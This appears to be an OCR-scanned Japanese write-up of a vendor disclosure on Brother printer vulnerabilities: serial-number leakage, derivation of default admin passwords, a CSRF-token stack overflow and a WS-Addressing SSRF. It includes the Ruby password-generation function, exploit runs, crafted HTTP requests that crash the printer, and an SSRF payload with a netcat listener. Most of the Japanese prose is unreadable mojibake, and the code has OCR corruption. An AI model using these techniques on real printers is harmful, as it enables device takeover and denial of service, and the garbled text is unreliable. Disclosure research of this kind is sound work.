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Unset

>ruby CVE-2024-51977.rb --printer_scheme https --printer_ip 263.0.113.1
--printer_port 60443

Node Name: BRNB422060D56C3B

Model Name: Brother MFC-L9570CDW series

Location:

Contact:

IP Address: 192.168.86.62
Serial No.: ***kkxkkkkkkkkkk

Main Firmware Version: ZL
Sub1 Firmware Version: 1.32

Memory Size: 1024

..snip...
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Rapid7 I&. MFC-L9570CDW TINAZAD T IA ISR T—KR  TNAADI) T ILBEEEHAEL T
WYX LTREBLTER SN -8 XFENETHZEEHRRLEL, RSN TOENKEEATN
ARADV)TILBEEEZRBLIEEE. MBEBIETNARADTIAILE IRRAD—REERTIHENTEE
T, HEEL TOEEENRT—FREHFLOVART—RIZEBLTOEWLEY. COTIAHILED/S
AT)—REFERALTEEEERTT NI RICAT (O TEET,

FEESN TWRWKREF (L, CVE-2024-51977 THRASN TS KIS, HTTP, HTTPS, F=(ZIPP H—
ERENLTUITLESERBEIEHEANTEET Tz, BASA TUOENKREEFIISNMP 2L
TUITLESERERTHELTEET L B

Unset

$ snmpwalk -v 2c -c public 192.168.86.62

is0.3.6.1.2.1.1.1.0 = STRING: "Brother NC-92006h, Firmware Ver.ZL ,MID 8CE-888,FID
o

is0.3.6.1.2.1.1.2.0 = OID: is0.3.6.1.4.1.2435.2.3.9.1
is0.3.6.1.2.1.1.3.0 = Timeticks: (1847230) 5:07:52.30
is0.3.6.1.2.1.1.4.0 = ""

is0.3.6.1.2.1.1.5.80 = STRING: "BRNB42206D56C3B"
is0.3.6.1.2.1.1.6.0 =

..snip...

is0.3.6.1.2.1.43.5.1.1.17.1 = STRING: "*****k*k*kk*kkkkxxx"

HBHLE. TCP R—F100IZ7 VLR TESRIA SN TLWEVWKREE (L, UTFITRT T 4—D3TF
FB(PILAYUFERITLT. THNIRADVITILESERETEEY,

Unset

S printf "@PJL INFO BRFIRMWARE\n" | nc 192.168.86.62 9100
@PJL INFO STATUS

CODE=40000

DISPLAY="Sleep"

ONLINE=TRUE

@PJL INFO BRFIRMWARE
MODEL="MFC-L9570CDW series"



CTYPE="MFC"

SERTAL =" %% %k ok ok ok ok ok ok ok ok ok ok
SPEC="0104"
FIRMID="MAIN"
FIRMVER="7L2403011354"
FIRMID="SUB1"
FIRMVER="1.32"
FIRMID="IFAX"
FIRMVER="108011709600"

UTFDNRT—FERTILTYX LERUbYy TEHEETDHE. THAIRADDYTILVESD . X FID
KEGT—TIUHLDYIIMEERABINTWAIENDOMAYET , ZOfEIX. SHA256IZ&-T/Ayda

IEENFET FERD/ v afElLbase64TIaA—REINTULVET , baseb4TI a—FEn=HER DR
MD8XFENTIHIED/IKRT—RELTHEASINFET . JRRIC. TILTUXLIEWLLOADTILTF7X
FEEEXFICBEERAET, COTILTVRLDNERLISIELTNSEESHEIZOVWTIERHATT,
LA . COTILTVALIE, TIHILIDINRT—REFEMEHFIELEIETIRADLIIZRAFE
ER

Unset

def generate_default_password(serial, salt_lookup_index=254, salt_data=nil)

unless salt_data && salt_lookup_index != ©
salt_table_index = @@salt_lookup_table[salt_lookup_index];

salt_data = salt_data ||
@@salt_data_table[salt_table_index].unpack('C*")

end
buff = serial[9..15]

buff << [
salt_data[7] - 1,
salt_data[6] - 1,
salt_data[5] - 1,
salt_data[4] - 1,
salt_data[3] - 1,
salt_data[2] - 1,
salt_data[1] - 1,
salt_data[@] - 1



].pack('C*")

digest = Digest::SHA256.digest(buff)

hash = Base64::encode64(digest)

result =

0.upto(7) do |idx|
c = hash[idx]

case ¢
when '1'

result << '#'
when 'I'

result << 'S’
when 'z’

result << '%'
when 'Z'

result << '&'
when 'b'

result << '*'

when 'q'

result << '-'
when '0'

result << ':'
when 'o'

result << '?'
when 'v'

result << '@’
when 'y'

result << '>'
else

result << c
end

end

result

end
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LT OFITIE. BEESN TOELAEBOKEEN, Ty IL—F2—DKR—Fr60433MN5AERRYET—H
EDE—FIRTNARITIR—MEE SN =T NA REEBA U A—Tz—RIZTIEALT. 5= 9T
AADVITINESERBETHAREELHYET . WBEEI. COVITILESITEDVTTNIRAD
TIAIWRRRAT—REETEELET . REIC.RBEBEIZOTIAINID/NNRT—REFERALTT /MR
[CARTAVL IRRAT—FNELWIEERERLET,

Unset

>ruby CVE-2024-51978.rb --printer_scheme https --printer_ip 263.0.113.1
--printer_port 60443 --validate

[+] Targeting printer: https://203.0.113.1:60443

[+] Leaked serial number: ***%kkkkkkkkkkk

[+] Generated default password: r/5LM&U>

[+] Validating password: Success

HEWE. TNNARADIV)TILBEEZEICH>TWARHESE (FIZ 1L, SNMP HPPILYTYEETT ST
LIZE2VE. FNRULED RN T—OBEETHTITT IHILEDISRT—REER T HIENTEE
T

Unset
>ruby CVE-2024-51978.rb --printer_serial *****%*xxx&xkk***

[+] Generated default password: r/5LM&U>

TNARDEBEICHDATIN—EMHRTHIET, ERENTF=T IHIVMAART—FNELN EZHERR
TEFEY,
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brother mopeL MFC-L9570CDW
ser.no. NG

MADE IN CHINA D023BS001>PS<

Pwd: r/5LM&U>
e

CVE-2024-51979: AR YIRN—AD /Ny I 74 —/\—2J0—

ST

F 7LD T OEN R, BEBERIIAFTEGL 1212, TRTOEBEL EEHA (FFEHR DI
LHAERLELZ, 2COT /XL RDCPUMKybele | D HFTIEARBAT., Thumb E—F#®AT=32E vk
ARM sy b aERALTLET,

HTTP, HTTPS. IPP £y avI(&3 R T, Debut EME(ENBEAHAH I TH—E R ETEIMELET . &
BEN-FTRTOURI ZURRAUME, L TFICRIEBOBRICES>TTARANYFENET,

C/C++

// ROM:4080689D6

int __fastcall handle_http_request(
int ro_o9,

void (__fastcall *endpoint_callback)(int, int, int, int, int, char *),

char *a3,
char *a4,
int a5)
{
// ...snip...
v7 = a3;

if ( !sub_40808272(r0_0, a5, (int)a3, a4) )

11



return 0;
setup_language(r@_e, v9, vi1e, vi1l);
if ( !get_TIMEOUT_value(re_@, vi12, vi13, vi14) )
{

decode_params(a2, r@_0, vi15, vi16);

// ...snip...

BEREINFZIVFRAVMDLEEINSFIIZ. handle http requestfd#lddecode paramsZMf
VHLEY . COBRIET VITRAARBEINSFTZ HTTP UV I RACD T —L/RSA—EF([EIT
JINGA—=BZTA—FLET, COBBEICIE VI IRAMIEENTVW VAR A YIRS T4—Dx
J(CSRA) =92 D TaA—RERFELEFENFET . HTTP YU T XD /354 —%TCSRFToken 1D &I,
LIFIZIRY &SITdecode csrftokenBABITEEINET,

C/C++
// ROM:40833654

void __fastcall decode_params(_BYTE *al, int r1_0, int a3, int a4)
{

// ...snip...
else if ( sub_46C@9B10(r1_0, v14, v15, v16) == -1
|| (v17 = sub_40833632(*(int *)a2, maybe_params, v26[0], "CSRFToken")) != 0
&& decode_csrftoken(r1_0, vi17[3]) != -1 )
{
// ...snip...

ZMdecode csrftokenf#E. h—V fEZbase64TTa—FL. BifFShbd—I EDQT—T L
EHBELFET, CSRF F—IUNENEIEE . decode csrftokenBA#IE. Referer(sic) . Host. Origin
ELSTBEHDAYT —EZLELT, YIOTRDHFINSRAMEZFEILL . CSRF =02 DHHS
NBERAMELBELET . COUNEERETIEIEL RFYIR—AD NV ITF7A—/\—TO0—% 5| &L
LETUUTESER),

C/C++
// ROM:40CO9F46
int __fastcall decode_csrftoken(int a1, int b64_token)
{
bool v2; // zf
int v5; // r7
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int v6; // r@

int v7; // r10@

int v8; // r1

int v9; // r2

int v10; // r3

int v11; // r@

BOOL v12; // r2

int v13; // r3

unsigned int v14; // r4

int v15; // r9

int v16; // r8

int v17; // r5

int v18; // r6

char *v19; // r@

unsigned __int8 *v20; // r4

unsigned __int8 *v21; // r9

unsigned __int8 *v22; // r8

bool v23; // zf

int v24; // r@

int v25; // ro

unsigned __int8 *v26; // r@

char *v27; // ro

unsigned __int8 *v28; // r6

int v29; // ro

int v30; // r4

unsigned __int8 *v31; // r@

unsigned __int8 *v32; // r1

unsigned __int8 *v33; // r@

unsigned __int8 *v34; // r6

unsigned __int8 referer2048[2048]; // [sp+14h] [bp-2614h] BYREF
unsigned __int8 host64[64]; // [sp+814h] [bp-1E14h] BYREF
int v38; // [sp+854h] [bp-1DD4h] BYREF

int v39; // [sp+85Ch] [bp-1DCCh] BYREF

unsigned __int8 *v4@; // [sp+860h] [bp-1DC8h] BYREF
int v41; // [sp+864h] [bp-1DC4h]

int v42[3]; // [sp+868h] [bp-1DCBh] BYREF

__int16 v43; // [sp+874h] [bp-1DB4h]

__int16 v44; // [sp+876h] [bp-1DB2h]

int v45[5]; // [sp+880h] [bp-1DA8h] BYREF

char dstA_2048[2048]; // [sp+894h] [bp-1D94h] BYREF
unsigned __int8 origin2048[2048]; // [sp+1094h] [bp-1594h] BYREF



char dstB_2048[2048]; // [sp+1894h] [bp-D94h] BYREF
char v49[556]; // [sp+2094h] [bp-594h] BYREF

char v50[4]; // [sp+22C0h] [bp-368h] BYREF

int v51[16]; // [sp+22C4h] [bp-364h] BYREF

int v52[8]; // [sp+2304h] [bp-324h] BYREF

int v53[114]; // [sp+2324h] [bp-304h] BYREF
unsigned int v54[16]; // [sp+24ECh] [bp-13Ch] BYREF
char buff32[64]; // [sp+252Ch] [bp-FCh] BYREF

char unknownA_32[32]; // [sp+256Ch] [bp-BCh] BYREF
char unknownB_32[32]; // [sp+258Ch] [bp-9Ch] BYREF
char dstC_32[32]; // [sp+25ACh] [bp-7Ch] BYREF

v2 = b64_token == 0;
v = -1;
while ( !v2 && (unsigned int)strlen(b64_token) <= 554 )
{
sub_40834C41C("LOGOUT", 6u, (int)unknownA_32);
v6 = sub_4034C41C("LOGOUT_1", 8u, (int)unknownB_32);
v7 = sub_48C099C4(v6);
v42[0] = b64_token;
v43 strlen(b64_token);
v44 = 0;
v42[1] = (int)v49;
v11 = maybe_base64_decode((int)v42, v8, v9, v10) + 1;
v2 = vl11 == 0;
if (v11)
{
v14 = v44 - 0x91;
vl15 = v44 - 0x90;
v16 = v44 - 0x30;
v17 = v44 - 0x50;
v18 v44 - 0x10;
if ( v49[v14] == Bx3A )
{
v19 = (char *)(sub_46C09B10(al1, v44, v12, vi13) ? 0x43B192B6
v45[0] = 554;
if ( !sub_408C099C8(v49, v14, v50, (unsigned int *)v45, v19,
COERCE_FLOAT(32), (int)&v49[v18], 16, 1)
&& v45[0] == 132 )

sub_4090E474(&v38, v50, 4);

: Ox43B19296) ;
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0x40u) )

0x20u) )

v20 = (unsigned

if ( (unsigned int)(v7 - v38) < Bx36EE80 )

_int8 *)&v49[v15];

if ( !'memcmp((unsigned __int8 *)v51, (unsigned __int8 *)&v49[v15],

v21 = (unsigned __int8 *)&v49[v17];

if ( !'memcmp((unsigned __int8 *)v52, (unsigned __int8 *)&v49[v17],

_int8 *)&v49[v16];
if ( !memcmp((unsigned __int8 *)v53, v22, 0x20u) )

{
if ( !'memcmp((unsigned __int8 *)&v49[v17], (unsigned __int8

v22 = (unsigned

*)unknownA_32, ©x20u)

&& !'memcmp(v22, (unsigned __int8 *)unknownB_32, ©0x20u) )

{
return 0;
}
else
{
v4l = 0;
v40 = v20;
v23 = maybe_set_some_enum(al, 59, &v40) == -1;
while ( !v23 )
{
if ( 1va1l)
break;
maybe_memset(v54, @, 0x40u);
if ( amybe_get_cgi_env(al, (int)"CGI_AUTH_SESSION_ID",
(int)v54, 64) == -1 )
break;
if ( memcmp((unsigned __int8 *)v54, v20, 0x40u) )
break;
sub_40C09C2C (a1, v54, &v39);
if ( v24 == -1)
break;

v25 = maybe_get_header_vlaue(al, (int)"Referer",

(int)referer2048, 2048) + 1;

v23 = v25 == 0;
if ( v25 )
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v23 = referer2048[0] == 0;
if ( referer2048[0] )
{
v26 = strstr(referer2048, "//");
maybe_strcpy(dstA_2048, (char *)v26 + 2);
v27 = (char *)strstr((unsigned __int8 *)dstA_2048, "/");
maybe_strcpy(dstA_2048, v27);
v28 = strstr((unsigned __int8 *)dstA_2048, ".html");
maybe_memset(dstB_2048, 0, 2048u);
maybe_memcpy_1(dstB_2048, (int *)dstA_2048, v28 -
_int8 *)dstA_2048 + 5);
v29 = strlen((int)dstB_2048);
sub_4034C41C(dstB_2048, v29, (int)dstC_32);
if ( !memcmp((unsigned __int8 *)dstC_32, v21, 32u) )
{
v30 = 0;
while (

0x43B194D8 + 68 * v30), v21, 32u)

(unsigned

memcmp ( (unsigned __int8 *)(6860 * v39 +

|| memcmp((unsigned __int8 *) (6800 * v39 +
0x43B194D8 + 68 * v30 + 32), v22, 32u)

|| *(_DWORD *)(6800 * v39 + @x43B194D8 + 68 * v30
+ 64) = v38 )

if ( ++v30 >= 100 )
return v5;

}

maybe_memset ((_DWORD *) (68060 * v39 + 0x43B194D8 + 68 *
v30), 0, 0x44u);

if ( maybe_get_header_vlaue(al, (int)"Host",

(int)host64, 64) != -1
&& host64[0]
&& maybe_get_header_vlaue(al, (int)"Origin",
(int)origin2048, 2048) != -1 )
{
if ( maybe_strcmp(origin2048, (unsigned __int8 *)"")
)

v31 = strstr(origin2e48, "//");
maybe_strcpy((char *)origin2048, (char *)v31 + 2);
v32 = origin2048;



}

else
{
v33 = strstr(referer2048, "//");
maybe_strcpy(dstA_2048, (char *)v33 + 2);
__int8 *)dstA_2048, "/");:
maybe_memset (buff64, 0, 64u);
maybe_memcpy_1(buffé64, (int *)dstA_2048, v34 -

(
(

v34 = strstr((unsigned
(

(unsigned __int8 *)dstA_2048);

v32 = (unsigned

}
if ( !maybe_strcmp(host64, v32) )

_int8 *)buff64;

return 0;

// ...snip...

EEASHMNDBESIT UITRAMIBEHNECSRF h—I U ENHDI5E . Referer AyF —{EDURI /3R
MCSRF =0  DEAFSINDNRELBINET , COF Ty TIE HTTP Referer lED — & ERL T
BURI KRR RFyTENDZLITFELTESW,, SOF Y IMEINT HE. Host Ay SE —DIED

G N. Origin NyF —WFEET BFBEXOrigin AvF—DHRAMELLBENFE T, Origin AvS —H
FELGWEE L. Referrer Ay A —DHRAMB D ELLBEEINFET,

Origin Ny A —{EMNFEET . Kb UIZReferer NyF—fENEHLNLIZE . BEDThost1EB7 . DFEYRx
MDFTIVIH+T—R RS2 ,RHMDIUTIINLITAT—K RSy 2 DBDXFFI ()
http://thisisthehost/this/is/the/path) &, memcpylZ&2TO4/ XL LD /Ay T7(LED buffed) 23
E—&NFET, memcpyDV—XI&, Referer Ay T —fBEDRAMI D EREFT 52048/ XA bD /N TF7T
o COFER.ANARDRBY I NV IT7HEET DR BV I AR ITH—N—00—F SR REEAHY
F9,

IDAPro D# 7V ITSEFERLTRIAVIDULAT IRERARDE, 3—F IR\ T7HEED X299
EHORENS252(0xFC) NARDEBIZHY . ZIIFH—"—T70—LFET, COMBEIZIE. EHOR
BEINFLORE—EE—2TFRLABEMENTWET . A= YD R BV 93977 (buffe4) %252
NARULEA—IN—T0—SHEHIENTEDSHD(HTTP N I75—EDRF—LENREBRZERRLN =
2048\ FETHIENTTEE) . ChODREFESNEL S REA—EREBFESNERY7ZRLREEZ LE2ZT 5L
NTEET,

Unset
-00000000OOVOVOOFF DCB ? ; undefined
-00000000VOOOOFE DCB ? ; undefined
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http://thisisthehost/this/is/the/path

-000000000000BOFD DCB ? ; undefined

-0000000BOVBBOOFC buffe4d DCB 64 dup(?)
-000000000000BOBC unknownA_32 DCB 32 dup(?)
-000000000000009C unknownB_32 DCB 32 dup(?)
-000000000000007C dstC_32 DCB 32 dup(?)
-000000000000005C

-000000VOLPOLVBB5C ; end of stack variables

decode csrftokenfBOIEQN—S TIL, 9DDL P RA—(R4-RI2) MRy TIh, ZDE. REF
NI RE—(LR) (A—ILRAZYIDRYTERELR) RREYIMBPC LU REA—IZRESNDTE
BHMYET, CNEDLIRZ—[ETRT, RN\ IT7FA—N\—J0—FR(Z EEZINSHATHEMEH
HYET,

Unset

loc_40COA2EC

ADD.W SP, SP, #0x2600
MOV RO, R7

POP.W {R4-R12,PC}

; End of function decode_csrftoken

ZEHTTP VO TR HEFEGEI—F/\RIZEET DITIEELCSRF b=V DNBETHAH. 2D
RAAYGR—RDINYITFA—N—TO—([FRIAIBETHY . KBEENEEBS/F4—TJ—X (AT (1>
LTCSRF b= % . T BICIE. BTN RT—FBABETT  A—T YT INA R TTIAILED /X
A)—KFAZEEIN TR S, BIISN TUOVEWNIREE NI/ N\ /VACVE-2024-51978ZFI AL
TTI4IWEDNRT—REERTEHREEELAHYET

IHORTACRRICTONIZHTTP YUYV I RN ERETHENTEFET . 9. KEE (L
/general/status.html[ZPOST YOV I RMERITL. ENLE/NNRT—RERHLET,

Unset

POST /general/status.html HTTP/1.1

Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*

User-Agent: Ruby

Connection: close

Host: 192.168.86.62
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Content-Length: 54

B153b=r%2F5LM%26U%3E&1loginurl=%2Fgeneral%2Fstatus.html

CDTINARIF/INAT—FERIEL. BTIL=E & (authCookiefEZRLET , ZDCookie {EIXS
DYVOITRANDREIFERATEET - UTOHAIEIERIZTEEHITHRESNATNET,

Unset

HTTP/1.1 301 Moved Permanently
Cache-Control: no-store
X-Frame-Options: DENY
Content-Length: 11188
Content-Type: text/html
Content-Language: en-gb
Connection: close

Set-Cookie: AuthCookie=102UnT38DvIF9WNpMdupGY3He5EKCw]jyHOSxq3bjrUw%3D; path=/;
httponly; SameSite=strict
Pragma: no-cache

Location: /general/status.html

...sSnip...

WEEIL.LLTOHI®D /voc/boc.htmlEE ., FINARALDBUILHIRRAMNSCSRF b—92%
MBFTESEILHYET,

Unset

GET /boc/boc.html HTTP/1.1

Cookie: AuthCookie=102UnT38Dv9F9WNpMdupGY3He5EKCwW]jyHOSxq3bjruw%3D
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3

Accept: */*

User-Agent: Ruby

Connection: close

Host: 192.168.86.62

TINARIFERINZIVRRAVFDORNBEERLET . CNIZILCSRF b—4 2 (ID {EACSRFTokenl
DFNEENETT) T UTOEAIRERICTE=-OICmESNTLET,
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Unset

HTTP/1.1 200 OK

Cache-Control: no-store

X-Frame-Options: DENY

Content-Length: 7134

Content-Type: text/html

Content-Language: en-gb

Connection: close

Set-Cookie: AuthCookie=102UnT38DvIF9WNpMdupGY3He5EKCw]jyHOSxq3bjrUw%3D; path=/;
httponly; SameSite=strict

Pragma: no-cache
...snip...

<div class="CSRFToken"><input type="hidden" id="CSRFToken1" name="CSRFToken"
value="6572HAAZOZdckfmEbnnRthTOcTiMOqKpCJFfqTkHI7019XQLGDGUEJZYb5fX+pp705gLdQzbVv3X
P7NM111m3WS409CQ32YgYnpyS81e6RcA6goxsFYVEm+PII2A0VKggalczdz6rwVEjrypiKMP53j9d
pNM8MkY4MajEQtBGYADJOsSTOmXxPM1VuVDM4ARHY5Rj1XTnBNZHVWR1kzSGU1RUtDd2p5SDBTeHEZ
YmpyVXcO9AAAAAAAAAAAAAAAAAAAAAAAAAADrJOV3XnvIdaM85CDaTQWaukG2G8PC3JUXVIWtCWw64
SCoUN5x1s2NegK13yvB1sLHSYR04/8ZBmGryQg64yf9PjmOVnEnwuOsCqP6JaKbCAw=="/></div>

...snip...

REZIC. WEEIL. CSRF b—U> ZDO0rigin AyH —{E, B#idecode csrftokenMIDYIITRE
FREBS HEEFIA—/N—TA—F ) H—F HRAMEZ &L Referer Ny A —fEFIEELT. RLIUF
RAUk/boc/boc. htmlIZEEDHDHPOST UV IR EEETEFET,

Unset

POST /boc/boc.html HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: AuthCookie=102UnT38Dv9F9WNpMdupGY3He5EKCwjyHOSxq3bjruw%3D

Referer:
http://DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DCCCCCceeeeecceeecceeecceecceecceecceecceecceccceccccccceBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/boc/boc.html

Host: 192.168.86.62

Origin:

Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3

Accept: */*
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User-Agent: Ruby
Connection: close
Content-Length: 392

CSRFToken=6572HAAZ@Zdck fmEbnnRthTOcTiMOgKpCJFfqTkHI7019XQLGDGUEJZYyb5fX%2Bpp705gLdQz
bVv3XP7NM111m3WS409CQ32YgYnpyS81e6RcA6goxsFYVEmM%2BPII2A0VKgqalczdz6rwVEjrypiKMP5j9d
pNM8MkY4MajEQtBGYADJOsSTOmXxPM1VuVDM4RHY5R j1XTnBNZHVWR1kzSGUTRUtDd2p5SDBTeHEZzYmpyVXc
9AAAAAAAAAAAAAAAAAAAAAAAAAADrJOV3XnvIdaM85CDaTQWaukG2G8PC3JUXVIWtCWw64SCoUNSx1s2NegK
13yvB1sLHSYR04%2F8ZBmGryQg64yf9PjmOVnEnwu0sCqP6JaKbCAw%3D%3D

IHRTOAk

UTOHITIE. NEBOBREED. TP IIL—F—DHR—6043B3NSAERVET—O LD I—S 9T
INAR[CR—MEESNE=TNAREEAVB—TI—RICTIERTBIET. REYIR—IAD /Ny IT7
A—N—D0—%5|EFRIFTENTEET . COFITIX, HWEHILFT R/ \1/VACVE-2024-51978
FERAL.A—TINTINAADTIAINIRRT—REFERALTVET,

Unset

>ruby CVE-2024-51978.rb --printer_scheme https --printer_ip 263.0.113.1
--printer_port 60443

[+] Targeting printer: https://203.0.113.1:60443

[+] Leaked serial number: **x¥kkkkkkkkkskk

[+] Generated default password: r/5LM&U>

>ruby CVE-2024-51979.rb --printer_scheme https --printer_ip 263.0.113.1
--printer_port 60443 --printer_password "r/5LM&U>"

[+] Getting AuthCookie via 'https://203.0.113.1:60443/general/status.html’...

[+] Got AuthCookie: XH1uvK9JoE2zmHJoBnwgNL5MHs2ZiP6WOstDONssVeU=

[+] Getting CSRFToken via 'https://203.06.113.1:60443/boc/boc.html’. ..

[+] Got CSRFToken:
fjfFCZQlhWtdLXxqe06510CeEHJRNNQ3uFwKsCkyXs8/+edcUueeK9f5nMn7hhnTh+aweRGXBIkLcbBwD4k
zPdqF9ZDURYegr5mJWz03QpLg013pZCG22FmLilsc8niSqBj91xdYKisOIMiIzcXGoJKiFBnmGPOte5YWO9
FBC1vIpkg101hIMXV2Sz1KbOUyem1ISm9CbndnTkw1TUhzM1ppUDZXMHNORDBOC3NWZVU9AAAAAAAAAAAAA
AAAAAAAAAAAAADrJOV3XnvIdaM85CDaTQWaukG2G8PC3JUXVIWtCWw64SCoUN5x1s2NegK13yvB1sLHSYRO4
/8ZBmGryQg64yf9PmA44UPBi@r+oC0Og/DOABAw==

[+] Triggering overflow via 'https://203.0.113.1:60443/boc/boc.html’...
C:/Ruby31-x64/1ib/ruby/3.1.08/openssl/buffering.rb:214:in “sysread_nonblock': An

existing connection was forcibly closed by the remote host. (Errno::ECONNRESET)
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COMEEIIFEA—/IN—00—%B|ZRBITEITTUIILI—FREETLAL=D.
Errno: : ECONNRESETHINMEREINEZETREINDEIIZ, F—TINTNARITITvaLFET,

CVE-2024-51980: H—/\—HA(K)JITRF T4—xl) 1

AT

TINAAD Iz TH—E RABEBEXHTTP(GR—F80) Z ML TEMEL . XML R—XMDSOAP YU TR &
FANET . CNEDYIITAMZKY . 54T UMMEITNARETHRIBEVRF YO DIREEZETT
BIENTEEY,

SOAP I T RAFCEATREL R F—T D —DIZ, Web Services Addressing (WS-Addressing) B3 Y E
T CNIZKY UV TRITCAYE—VDREFRFIETA— LMk EReplyToF z[EFaultToBER%E
BLTERTEFY . ChoDERITIE, SOAP BIEDR G EF=(ETA—ILFL ARV RADEEFLELT
FRASNAIVRRAVEDURI ZEEHET HAddressBERETEHDHIIENTEET,

BIZIE . LLTFDOSOAP YO T RAME, AF¥ ¥ F—MDcetAictiveJobsRequestiBEZEUHEFSELE
T, SOAP UH T A&, WS-Addressing MReplyToEZHRIZ, AddressELTEEDURI TURRA Uk
(ffl:http://192.168.86.35:4444/TESTING12345) & EET=ET,

Unset
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.0rg/2003/05/soap-envelope"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/68/addressing"
xmlns:wscn="http://schemas.microsoft.com/windows/2006/08/wdp/scan">
<SOAP-ENV :Header>
<wsa:MessageID>urn:uuid:11111111-1111-1111-111111111111</wsa :MessageID>

<wsa:Action>https://schemas.microsoft.com/windows/2006/01/wdp/scan/GetActiveJobsReq
uest</wsa:Action>

<wsa:To>urn:microsoft.com:windows:2006:01 :wdp :scan</wsa:To>

<wsa:ReplyTo><wsa:Address>http://192.168.86.35:4444/TESTING12345</wsa:Address></wsa
:ReplyTo>
</SOAP-ENV :Header>
<SOAP-ENV :Body>
<wscn:GetActiveJobsRequest/>
</SOAP-ENV :Body>
</SOAP-ENV :Envelope>
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https://learn.microsoft.com/en-us/windows-hardware/drivers/image/getactivejobsrequest

B— YT INA ZAANDSOAP YOI RAMMERDcurl Av R TIICEMNTEET (LEDOXML (X774
Jlsoap ssrfl.xmlIZRFESNTLET),

Unset

>curl -ik
http://192.168.86.62/StableWSDiscoveryEndpoint/schemas-xmlsoap-org_ws_2005_64_disco
very -X POST -H "Content-Type: application/soap+xml" --data @soap_ssrfi.xml

TINA REeurl YIZRNE T2 FATUMILUTOLSITRELFET . TNIRDL ARV RIZIE, L
ARVZADHABIZFHLLGEVHTTP VIZRAMDEENTLASIEN LMY ET  LTFIZRYPOST VT
AMEIFIEDAVTIT—ED—ETHY . SOAP YU T AFDReplyTo Address(LEEDHITIE
192.168.86.35:4444) [ITEESNDFETLIz. LML, COVITRFORBEERNTDIZAT UM
REINFELT,

Unset
HTTP/1.1 202 Accepted

Cache-Control: no-store

Content-Length: 878

Content-Type: application/soap+xml; charset=utf-8
Connection: close

Pragma: no-cache

POST /TESTING12345 HTTP/1.1

Host: 192.168.86.35:4444

User-Agent: debut/1.30

Content-Type: application/soap+xml; charset=utf-8
Content-Length: 706

Connection: close

<?xml version="1.08" encoding="UTF-8"7>

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.0rg/2003/05/soap-envelope"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/68/addressing"
xmlns:wscn="http://schemas.microsoft.com/windows/2006/08/wdp/scan"><SOAP-ENV :Header
><wsa:MessageID>urn:uuid:9401638b-643b-4da1-8907-b42200d56c3b</wsa:MessageID><wsa:R
elatesTo>urn:uuid:11111111-1111-1111-111111111111</wsa:RelatesTo><wsa:To>http://192
.168.86.35:4444/TESTING12345</wsa:To><wsa:Action>http://schemas.microsoft.com/windo
ws/2006/08/wdp/scan/GetActiveJobsResponse</wsa:Action></SOAP-ENV:Header><SOAP-ENV:B
ody><wscn:GetActiveJobsResponse><wscn:ActiveJobs/></wscn:GetActiveJobsResponse></S0

AP-ENV :Body></SOAP-ENV :Envelope>
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MNERH—/3—192.168.86.35M TCP R—r4444% BAE GEYIG I 747 0 4—IL L—ILEEBMT HTE

T)

TNAZADZDR—bA~DTCP G EHEILL-CEEHRTEE T £, THAA XD DHESIC

T—REEELEN-CLLHERTEET (R YIZ, ERO LS, BifFENHTTP POST D T—%4
EROTRDISATUMIZEYRLELE),

Unset
>ncat -lkvp 4444

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444

Ncat: Listening on 0.0.0.0:4444

Ncat: Connection from 192.168.86.62.

Ncat: Connection from 192.168.86.62:13772.

L, RSN TOWEVREENRENGEY —/N—H AR YIIT RS Tr—D 1) ERFTL. =7 Vb
TNARZEEDRIP FTRLADEEDR—FESADTCP #HGZRAEIIZRFIT DRI MEAHHL
ZRLTLEY,

ReplyTo AddressTHEINTTCPR—FEEHARAVTUWELMEE ., TS RIEIFTAT UKD
FOITHELET,

Unset
HTTP/1.1 400 Bad Request

Cache-Control: no-store

Content-Length: 936

Content-Type: application/soap+xml; charset=utf-8
Connection: close

Pragma: no-cache

<?xml version="1.0" encoding="UTF-8"?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.0rg/2003/05/soap-envelope"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/68/addressing"
xmlns:wscn="http://schemas.microsoft.com/windows/2006/08/wdp/scan"><SOAP-ENV :Header
><wsa:RelatesTo>urn:uuid:11111111-1111-1111-111111111111</wsa:RelatesTo><wsa:To>htt
p://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>ht
tp://schemas.xmlsoap.org/ws/2004/08/addressing/fault</wsa:Action></SOAP-ENV :Header>
<SOAP-ENV :Body><SOAP-ENV :Fault><SOAP-ENV:Code><SOAP-ENV:Value>SOAP-ENV:Sender</SOAP
-ENV:Value><SOAP-ENV:Subcode><SOAP-ENV:Value>wsa:DestinationUnreachable</SOAP-ENV:V
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alue></SOAP-ENV:Subcode></SOAP-ENV :Code><SOAP-ENV :Reason><SOAP-ENV :Text
xml:lang="en">No route can be determined to reach the destination role defined by
the WS-Addressing
To.</SOAP-ENV:Text></SOAP-ENV:Reason></SOAP-ENV :Fault></SOAP-ENV :Body></SOAP-ENV:En

velope>

TINARIE, ReplyTo AddressTHREINT= URI FRARA®D TCP EHARILIE=NESIMNIZIELT
BRBLEETRLET . ZD=H. 9574T7 U MIINZEFIHL T, ReplyTo AddressTIREINT=
TCP AR—FA BTN ANEINERIMTEET .

CDT)IT4THEATEHE HEBEEIEITCP R—rRAF v UM EEZ B ETE A EDRESh TULVEL
KEENI—SFINTNARENLTHEBR YT —IDTCP R—rRF v EERITTEELSIHYZE
TO

IHRTOAk

